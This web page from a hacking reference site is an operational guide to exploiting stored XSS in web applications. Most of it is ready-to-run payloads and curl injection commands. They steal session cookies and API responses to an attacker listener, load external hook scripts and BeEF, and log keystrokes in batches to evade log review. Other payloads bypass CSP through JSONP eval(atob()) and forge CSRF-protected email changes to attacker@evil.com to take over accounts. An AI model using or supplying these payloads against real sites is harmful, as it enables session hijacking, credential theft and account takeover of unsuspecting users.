# Stored XSS Exploitation

> Exploit stored XSS vulnerabilities in web apps by injecting persistent malicious scripts into HTTP/HTTPS endpoints to hijack sessions, exfiltrate data, or compromise users.

- **URL:** https://hackindex.io/services/web/exploitation/stored-xss-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-09-17

Stored XSS exploitation delivers payloads that execute in the browser of every user who loads the affected page. The highest value targets are admin interfaces that render user-supplied content. A stored XSS that fires for admins enables session hijacking, credential theft, and account takeover. The victim needs no interaction beyond normal browsing. Confirm persistence through [stored XSS checks](https://hackindex.io/services/web/vulnerability-discovery/stored-xss-checks) before delivering these payloads.

- **Cookie theft** exfiltrates session cookies to your listener the moment a victim loads the page.
- **Fetch-based exfiltration** bypasses HttpOnly by making authenticated requests and sending the response body out.
- **External JS loading** hosts complex payloads (BeEF hooks, multi-stage exfiltration) on your server.
- **Keylogger payload** captures keystrokes from input fields and batches them to your server.
- **CSP bypass via JSONP** uses trusted CDN callback endpoints to execute payloads past Content-Security-Policy.

Prioritize injection points that reach admin-only pages, moderation queues, or user management dashboards. A payload that fires for regular users still has value. Admin execution changes the impact ceiling entirely. Before delivering any payload, verify your listener is reachable from the target network. When payloads are blocked by filters or WAFs, see [XSS filter bypass](https://hackindex.io/services/web/exploitation/xss-filter-bypass).

## Cookie Theft Payload

The most common stored XSS goal. The payload exfiltrates the victim's session cookie to your listener when they load the page. The victim needs no interaction beyond opening the page. Set up the listener before injecting the payload so you do not miss the first hit:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>document.location='http://$LHOST:$LPORT/steal?c='+document.cookie</script>" -d 'post_id=1'
```

When an admin or other user views the page, the request arrives on your listener with their cookie. Look for a session identifier in the query string after the `c=` parameter. Multiple cookies arrive concatenated with semicolons. Copy the full value, including all name-value pairs. If the session has a short expiry, move immediately: authenticate before the token rotates or the session times out.

```http
GET /steal?c=session=admin_session_abc123;role=admin HTTP/1.1
Host: 10.10.14.5:4444
```

Use the stolen cookie to authenticate as the victim. Look for admin-specific content in the response: user tables, settings panels, or privileged navigation links. A redirect to the login page means the token expired or the server checks the originating IP. If the session is IP-bound, cookie theft alone fails. Switch to fetch-based exfiltration to leverage the victim's active session from within their browser context:

```bash
curl -sk http://$TARGET_IP:$PORT/admin/ -H 'Cookie: session=admin_session_abc123' | grep -i 'welcome\|dashboard'
```

## Fetch-Based Exfiltration

When the cookie has HttpOnly set, JavaScript cannot read it directly. Use fetch to make authenticated requests and exfiltrate the response instead. The browser sends the HttpOnly cookie automatically on same-origin requests. The server receives a legitimate authenticated request and returns data normally. Target endpoints that return sensitive output: profile pages, API tokens, admin user lists, or internal configuration. The exfiltrated body arrives at your listener as a POST body. Watch for JSON responses containing API keys, password hashes, or user records:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>fetch('/api/v1/profile').then(r=>r.text()).then(d=>fetch('http://$LHOST:$LPORT/exfil',{method:'POST',body:d}))</script>" -d 'post_id=1'
```

## External JavaScript Loading

For stored XSS, loading external JavaScript is especially powerful because the payload fires every time any user loads the page. Host a complex exploit script on your server and inject a minimal script tag. This keeps the stored payload short (useful for length-limited fields) and lets you update the exploit logic without re-injecting:

```
<script src="http://$LHOST:$LPORT/hook.js"></script>
```

This technique enables multi-stage attacks. The hosted script can perform cookie theft, DOM exfiltration, and keylogging all at once. It also works for hooking the browser with BeEF (Browser Exploitation Framework). Point the script source at the BeEF hook URL:

```
<script src="http://$LHOST:3000/hook.js"></script>
```

Once hooked, BeEF gives you a control panel for the victim's browser: run arbitrary JavaScript, redirect pages, capture credentials, scan the internal network, and exploit browser vulnerabilities. Every user who loads the page becomes a hooked browser in your BeEF dashboard.

Inject the tag into the stored XSS point:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script src='http://$LHOST:$LPORT/hook.js'></script>" -d 'post_id=1'
```

If CSP blocks external script sources, this technique does not work. Fall back to inline payloads or a JSONP-based CSP bypass.

## Keylogger Payload

Capture keystrokes from input fields on pages where the XSS fires. Useful when the target page contains login forms or sensitive data entry. A per-keystroke approach sends one request per key and is simple but noisy. A batched approach buffers keystrokes and sends them at intervals, reducing request volume and making the exfiltration less likely to be noticed in logs.

### Simple Per-Key Keylogger

Each keypress triggers a separate fetch to your listener:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>document.onkeypress=function(e){fetch('http://$LHOST:$LPORT/key?k='+String.fromCharCode(e.which))}</script>" -d 'post_id=1'
```

### Batched Keylogger

Buffers keystrokes and sends them every 3 seconds. This reduces the number of outbound requests and captures the full input sequence in order:

```
<script>
  var buf=[];
  document.onkeypress=function(e){buf.push(String.fromCharCode(e.which))};
  setInterval(function(){
    if(buf.length>0){
      fetch('http://$LHOST:$LPORT/keys',{method:'POST',body:buf.join('')});
      buf=[];
    }
  },3000);
</script>
```

Inject the batched version:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>var buf=[];document.onkeypress=function(e){buf.push(String.fromCharCode(e.which))};setInterval(function(){if(buf.length>0){fetch('http://$LHOST:$LPORT/keys',{method:'POST',body:buf.join('')});buf=[]}},3000)</script>" -d 'post_id=1'
```

Receive the batched keystrokes on your listener. Each POST body contains a sequence of characters typed since the last flush. Credentials typically appear as a username string followed by a password string with a short gap between them.

## CSP Bypass via JSONP

When a Content-Security-Policy restricts inline scripts and external script sources, check whether a trusted domain exposes a JSONP endpoint. JSONP endpoints reflect the `callback` parameter value into the JavaScript response, which means you can inject arbitrary code through the callback name.

### Finding JSONP Endpoints

Start by checking the CSP header for allowed script sources:

```bash
curl -skI http://$TARGET_IP:$PORT/ | grep -i 'content-security-policy'
# content-security-policy: default-src 'self'; script-src 'self' https://cdn.example.com https://api.example.com
```

Each domain in the `script-src` directive is a candidate. Look for JSONP endpoints on those domains by checking the page's existing scripts for `callback=` or `jsonp=` parameters:

```bash
curl -sk http://$TARGET_IP:$PORT/ | grep -oE 'src="[^"]*callback=[^"]*"'
```

Common JSONP URL patterns on CDNs and APIs:

```
https://cdn.example.com/api/v1/data?callback=handleResponse
https://api.example.com/user/info?jsonp=cb
https://maps.example.com/geocode?callback=initMap
```

### Testing the Callback Parameter

Confirm the endpoint reflects the callback value into the response without sanitizing it:

```bash
curl -sk "https://cdn.example.com/api/v1/data?callback=test123"
# test123({"status":"ok"})
```

If `test123` appears verbatim in the output, the callback reflects. Now test with a payload. Base64-encode your payload and pass it through `eval(atob())` to avoid syntax issues in the callback parameter:

```bash
echo -n "fetch('http://$LHOST:$LPORT/exfil?c='+document.cookie)" | base64
```

### Injecting the JSONP Bypass

Use the JSONP endpoint as a script source with your payload in the callback parameter:

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script src='https://cdn.example.com/api/v1/data?callback=eval(atob(\"PAYLOAD_BASE64\"))'></script>" -d 'post_id=1'
```

The browser loads the script from the trusted domain (allowed by CSP), the JSONP endpoint wraps your `eval(atob(...))` in a function call, and the JavaScript engine executes it. The CSP is bypassed because the script source is a trusted domain. If the endpoint sanitizes the callback parameter (strips parentheses, limits characters), try other endpoints or check for older API versions that may not validate.

## Chaining XSS with CSRF

When the target application uses CSRF tokens to protect state-changing actions, a stored XSS payload can extract the token and submit authenticated requests on behalf of the victim. This works because XSS executes in the same origin as the application, giving it full access to read pages and submit forms that cross-origin attackers cannot. CSRF token protection becomes meaningless once XSS is present.

The attack flow: the XSS payload fetches a page containing the CSRF token (typically a settings or profile page with a form), extracts the token value from the response HTML, then submits a forged POST request with the extracted token. The server sees a legitimate authenticated request with a valid CSRF token. Practical target: changing the victim's email address, which often enables account takeover through password reset.

```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/settings', false);
xhr.send();
var token = xhr.responseText.match(/name="csrf_token" value="([^"]+)"/)[1];
var form = new XMLHttpRequest();
form.open('POST', '/settings/email', false);
form.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
form.send('csrf_token=' + token + '&email=attacker@evil.com');
```

The synchronous XMLHttpRequest reads the settings page and extracts the CSRF token with a regex match against the hidden input field. The second request submits the email change form with the valid token. Adjust the regex to match the actual token field name in the target application. Common field names: `csrf_token`, `_token`, `csrfmiddlewaretoken`, `authenticity_token`.

```bash
curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>var x=new XMLHttpRequest();x.open('GET','/settings',false);x.send();var t=x.responseText.match(/name=\"csrf_token\" value=\"([^\"]+)\"/)[1];var f=new XMLHttpRequest();f.open('POST','/settings/email',false);f.setRequestHeader('Content-Type','application/x-www-form-urlencoded');f.send('csrf_token='+t+'&email=attacker@evil.com')</script>" -d 'post_id=1'
```

For asynchronous execution (less likely to block the page rendering), use fetch with promise chains instead of synchronous XHR. The async version is less noticeable to the victim because the page loads normally while the requests happen in the background.

```javascript
fetch('/settings').then(r => r.text()).then(html => {
  var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
  fetch('/settings/email', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'csrf_token=' + token + '&email=attacker@evil.com'
  });
});
```

This technique bypasses CSRF protection entirely because the XSS payload operates within the same origin. It also works against double-submit cookie patterns and custom header defenses. The only mitigation that survives XSS is re-authentication (requiring the current password for sensitive changes) or SameSite cookie attributes that prevent the initial XSS from being useful for cross-site actions. For related exploitation without XSS, see [CSRF exploitation](https://hackindex.io/services/web/exploitation/csrf-exploitation).

## References

- [PortSwigger: Exploiting XSS](https://portswigger.net/web-security/cross-site-scripting/exploiting) - Cookie theft, credential capture, and CSP bypass techniques
